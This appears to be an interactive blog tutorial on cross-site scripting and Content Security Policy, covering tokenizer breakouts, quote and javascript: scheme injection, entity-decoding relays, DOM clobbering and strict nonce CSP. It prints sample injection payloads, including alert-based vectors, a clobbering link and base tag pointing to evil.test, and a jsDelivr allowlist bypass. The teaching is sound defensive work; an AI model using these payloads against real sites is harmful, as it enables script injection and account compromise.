Skip to content

WRITING / POSTS

A Visual Guide to XSS & CSP: From Angle Brackets to Browser Defense-in-Depth

A five-act scrollytelling guide and interactive 2D policy matrix unpacking the four layers of XSS, multi-parser decoding relays, DOM Clobbering, and Strict CSP.

On this page 9 sections

Memorizing XSS as “Reflected, Stored, and DOM-based” or reciting twenty -src directive names rarely helps when facing hex-entity relays inside onclick, public CDN allowlist gadgets, or <base> relative-path hijacking.

Following the browser parsing pipeline in order, the five split-screen scrollytelling stages below (inspired by R2D3’s A Visual Introduction to Machine Learning) and two interactive sandboxes connect all four XSS layers with the Content Security Policy matrix.

SCHEMATIC LEGEND
Pure Data LiteralTrusted Structure / GateBoundary BreakoutPolicy Caveat

Layer 1: HTML Body

In plain element body text, everything hinges on whether < switches the HTML5 tokenizer out of data mode—and why filtering angle brackets alone misses more than seventy percent of real-world vectors.

STEP 00 · SURFACE MATRIX

Two Fates of Every Byte

To a reader, a webpage is formatted prose; to a browser engine, the network delivers a linear byte stream. Every character must be classified into either trusted code structure or inert user data.

Every XSS exploit tricks the parser into treating inert data as executable instructions. Hover any quadrant on the right or scroll down to trace the state machine.

STEP 01 · DATA_STATE

Plain Text Inside HTML Body

<div>Alice</div>

Watch the HTML5 tokenizer needle sweep across the stream: outer <div> tags build the container element, while Alice keeps the lexer inside DATA_STATE, hanging a harmless #text leaf on the DOM tree.

STEP 02 · TAG_OPEN BREAKOUT

Minting Elements with Angle Brackets

<img src=x onerror=alert(1)>

In HTML body text, < is the sole state-transition trigger. Striking < flips the lexer into TAG_OPEN_STATE, sprouting a live <img> branch whose failed src=x immediately fires onerror.

HTML5 note: <script> inserted via innerHTML does not execute, whereas <img onerror=...> and <svg onload=...> fire in both SSR and dynamic DOM insertion.
STEP 03 · ENTITY ENCODING

Disarming Angle Brackets via Entities

< → &lt;   |   > → &gt;   |   & → &amp;

Encoding < into four literal characters &lt; prevents the tokenizer from ever entering tag-open state. Modern frameworks ({x} in React, {{x}} in Vue) achieve the same guarantee via DOM text nodes.

STEP 04 · THE 72% BLIND SPOT

Why Filtering < and > Fails Elsewhere

Beginners often conclude: "If I escape < and > everywhere, XSS is impossible." Testing 144 multi-context payloads on the right reveals the trap: only 28% are caught, while 72% cross boundaries without a single angle bracket.

FIG. 01攻击面与上下文特征矩阵
144 载荷粒子
HTML5 TOKENIZER & SPLIT DISTRIBUTION

Layer 2: Syntax Rooms

Once untrusted input enters HTML attributes, inline script variables, or URL attributes, the walls guarding data shift from angle brackets to quotes and URL schemes.

FIG. 02三类非标签语法房间
3 种定界规则
ATTRIBUTE · SCRIPT AST · URL SCHEME
STEP 05 · THREE SYNTAX ROOMS

Different Rooms, Different Doors

Untrusted data rarely sits only between tags; templates routinely place it inside HTML attributes, JavaScript variables, or URL attributes. None of these three rooms are guarded by angle brackets.

STEP 06 · ATTRIBUTE ESCAPE

Room A: Breaking Out with Quotes

" autofocus onfocus="alert(1)" x="

Inside <input value="...">, the first injected " shuts value early and spills into the tag's attribute corridor to mount onfocus—zero angle brackets required. (Unquoted attributes are even weaker: a single space breaks out.)

STEP 07 · SCRIPT AST INJECTION

Room B: Splitting the JS AST

let u = ""; alert(1); //";

Inside a <script> block, "; closes the string literal and appends a sibling CallExpression node to the AST while // comments out the trailing quote. Worse, a literal </script> closes the block regardless of JS quotes.

STEP 08 · SCHEME ROUTER

Room C: Symbol-Free javascript: Links

javascript:alert(1)

Count the special characters in javascript:alert(1): no angle brackets, no quotes, no slashes, no spaces. Character escaping cannot touch it because it flips the URL scheme switch straight into the JS engine.

STEP 09 · CONTEXT-AWARE GATES

Locking Each Room by Its Own Grammar

Encode quotes as &quot; inside quoted attributes; serialize JS data via JSON.stringify plus \u003c; and parse URLs via new URL() to allowlist only http: and https:.

Layer 3: Parser Relays

Nesting one grammar inside another—most notoriously inside onclick—lets the browser’s automatic entity-decoding relay resurrect filtered quotes right inside memory.

STEP 10 · NESTED PARSERS

Room Inside a Room: Inline Handlers

<button onclick="greet('Alice')">

Inline event attributes nest a single-quoted JavaScript program inside an HTML attribute. Every payload passes sequentially through two distinct browser parsers.

STEP 11 · NAIVE BLACKLIST

Blocking Literal Quotes at the Gate

'); alert(1); //

Suppose a WAF or backend filter blocks every literal ', ", <, and >. Naive quote breakouts crash into Chamber 01 and stop—creating a false sense of security.

STEP 12 · ENTITY RESURRECTION

How &#x27; Resurrects Inside Memory

&#x27;); alert(1); //

Watch the ribbon cross all three chambers (toggle 0.35x Slow to inspect): &#x27; contains zero literal quotes so Chamber 01 passes it; Chamber 02 (HTML5 attribute parser) automatically decodes character references inside attributes, fusing &#x27; back into a live ' that breaks open Chamber 03!

STEP 13 · DATASET DECOUPLING

Severing the Parser Relay with dataset

<button id="b" data-name="userInput"></button>
b.addEventListener("click", () => greet(b.dataset.name));

Instead of manually stacking multi-layer encodings, decouple code from data: store input in data-* and pass dataset.name by variable reference. Even after HTML decoding, the string never enters the JS syntax parser.

FIG. 03HTML 属性嵌套 JS 代码
双解析器串联
FILTER → HTML ENTITY DECODER → V8 PARSER

Layer 4: SPA Runtime

React and Vue neutralize classic string concatenation by default, yet rich-HTML escape hatches (innerHTML / v-html) and global variable shadowing (DOM Clobbering) open client-side attack paths.

FIG. 04现代框架虚拟 DOM 护城河
默认文本绑定
VIRTUAL DOM · ESCAPE HATCHES · TRUSTED TYPES
STEP 14 · MODERN SPA DEFAULT

Why Modern Frameworks Still Get Hit

React and Vue bind text safely by default and bind events as function references rather than strings. Yet modern SPAs still suffer severe XSS through two client-side runtime paths.

STEP 15 · DANGEROUS SINKS

Path 1: Raw HTML Escape Hatches

el.innerHTML = raw; // Vue v-html / React dangerouslySetInnerHTML

Rich-text comments, Markdown previews, or unvalidated :href="url" bindings bypass the Virtual DOM shield. When fed from location.hash or postMessage, payloads execute purely inside the browser without ever touching server logs.

STEP 16 · SCRIPT GADGETS

Path 2: DOM Clobbering & Script Gadgets

<a id="APP_CONFIG" href="https://evil.test/x.js"></a>

Even when all scripts and event attributes are stripped, injecting a benign-looking tag with id="APP_CONFIG" shadows window.APP_CONFIG via legacy DOM Clobbering (or JS prototype pollution), tricking your own legitimate bundle.js into loading attacker code.

STEP 17 · TRUSTED TYPES

Engine-Level Type Lock on Sinks

Content-Security-Policy: require-trusted-types-for 'script';

Enabling Trusted Types turns raw string assignments to innerHTML into an immediate engine TypeError. Only TrustedHTML objects minted by a centralized DOMPurify policy are accepted.

Act 5: The CSP Matrix

When a code defect still slips through, Content Security Policy acts as the browser’s last-line capability firewall. Mastering CSP means reading it as a 2D matrix of Resource Channels × Trust Credentials—and shifting from host allowlists to per-response cryptographic nonce tokens plus 'strict-dynamic'.

STEP 18 · CAPABILITY MITIGATION

What CSP Actually Is (and Isn't)

CSP is not a substitute for output encoding; it is a browser-enforced capability and egress mitigation layer. Even if HTML injection occurs, the browser validates script execution, plugin containers, base URLs, and network exfiltration against the HTTP response header.

STEP 19 · THE 2D CSP MATRIX

Channels × Credentials & the 3 Non-Fallback Traps

Every CSP policy is a 2D matrix of Resource Channels × Trust Credentials. Standard -src fetch directives inherit from default-src, except the three amber rows on the right: base-uri, form-action, and frame-ancestors never fall back to default-src!

STEP 20 · CDN / JSONP BYPASS

Why Host Allowlists Collapse in Practice

<script src="https://cdn.jsdelivr.net/gh/attacker/repo@main/1.js"></script>

Policies like script-src 'self' https://cdn.jsdelivr.net block inline scripts and evil.test, yet allow any attacker-uploaded GitHub file mirrored on jsDelivr (or JSONP endpoints ?callback=alert(1) on allowlisted domains) to sail right through!

STEP 21 · NONCE + STRICT-DYNAMIC

Cryptographic Nonces & Locking <base>

script-src 'nonce-8f3a9c' 'strict-dynamic'; object-src 'none'; base-uri 'none';

Per-request random nonce values block injected tags; 'strict-dynamic' lets nonced bundles load async chunks via createElement('script') while automatically disabling brittle host allowlists; and base-uri 'none' stops <base href="https://evil.test/"> from hijacking relative script URLs.

STEP 22 · DEFENSE-IN-DEPTH CASCADE

Five Interlocking Gates in Action

When context-aware escaping, scheme allowlists, dataset isolation, Trusted Types, and Strict CSP + HttpOnly work in concert, benign traffic renders at 100% fidelity while every exploit class is deterministically contained.

FIG. 05浏览器 CSP 出入口安检边界
纵深缓解层
CSP 2D MATRIX & 5-GATE DEFENSE TREE

Reference Matrices

1. XSS Evolution Matrix

LayerParsing ContextCore Breakout MechanismEngineering Remediation
Layer 1HTML Element BodyInjecting < > switches the HTML5 tokenizer into TAG_OPEN_STATE to mint new elements out of thin airHTML entity encoding (or default text-node binding in React {x} / Vue {{x}})
Layer 2Attributes / JS Strings / LinksBreaking out of quotes early, or injecting symbol-free javascript: schemes into URL attributesContext-specific escaping per room; parse links and enforce an explicit http: / https: allowlist
Layer 3Nested Contexts (e.g., onclick)Exploiting the automatic HTML-entity decode → URL decode → JS parse relay so &#x27; resurrects as a live single quoteNever concatenate untrusted data into inline handlers or scripts; pass values via data-* attributes + dataset + addEventListener
Layer 4Modern SPA Runtime & Browser GatesMisusing dangerous sinks like innerHTML / v-html, or using DOM Clobbering / prototype pollution as script gadgetsSanitize rich HTML with DOMPurify + enforce engine-level Trusted Types + deploy Strict Nonce CSP

2. CSP Bypass Matrix

DirectiveControlled ChannelFalls Back to default-src?Common Misconfigurations & BypassesProduction Baseline
default-srcFallback gate for standard fetch directivesRoot fallback itselfAssuming it covers base-uri, form-action, and frame-ancestors, leaving side doors wide open'none' or 'self'
script-srcExternal scripts, inline blocks, event attributes, javascript:, and eval()YesAllowing 'unsafe-inline' defeats XSS protection; trusting cdn.jsdelivr.net or JSONP hosts lets attackers load arbitrary scripts'nonce-<random>' 'strict-dynamic'
base-uriRestricts <base href="..."> relative-URL resolutionNo (Frequently omitted)Deploying nonces without base-uri: injecting <base href="https://evil.test/"> hijacks subsequent nonced relative scripts'none' or 'self'
object-src<object> / <embed> plugin and nested contextsYesLeaving plugin containers open allows script execution via embedded data: documents'none'
connect-srcfetch / XHR / WebSocket / sendBeacon endpointsYesOverly broad origins allow executing scripts to exfiltrate tokens and responses silently'self' + explicit API origins
img-src / style-srcImage loads and stylesheet renderingYesimg-src * enables beacon exfiltration; CSS attribute selectors enable character-by-character side channelsRestrict to 'self' data: and trusted CDNs
form-actionRestricts <form action="..."> submission targetsNo (No fallback)HTML-only injection can plant a fake form that posts credentials or hidden inputs to an external host'self'
frame-ancestorsRestricts parent <iframe> embedding (clickjacking defense)No (Header only)Ignored inside <meta http-equiv>; must be delivered via an HTTP response header'none' or 'self'
require-trusted-types-forGuards DOM XSS sinks such as innerHTML at the engine levelIndependent directiveNonce CSP alone cannot stop DOM XSS inside already-trusted bundles; require typed sanitization before innerHTML'script'

Interactive Workbenches

Both deterministic sandboxes below run purely in memory without executing untrusted payloads, allowing you to test bypass conditions and CSP combinations directly:

INTERACTIVE WORKBENCH 01

2D CSP Matrix & Live Bypass Evaluator

Select a preset or click any cell in the 8×8 matrix to inspect inheritance and 6 live exploit probes.

A+ · Strict
Directive \ Source'none''self'cdn.jsdelivrunsafe-inlineunsafe-evalsha256-Hashnonce-*strict-dynamic
INTERACTIVE WORKBENCH 02

Four-Layer Browser Parser X-Ray

Deterministic parser sandbox — inspect the exact string seen at each decoding stage safely.

Edit this page

Continue reading

Related posts

DISCUSSION / COMMENTS

Comments

Powered by GitHub Discussions. Leave a comment below.

Next post
Introducing Pinwhy: A Security Audit Walkthrough

On this page

SEARCH / QUICK FIND

Search this site

Try searching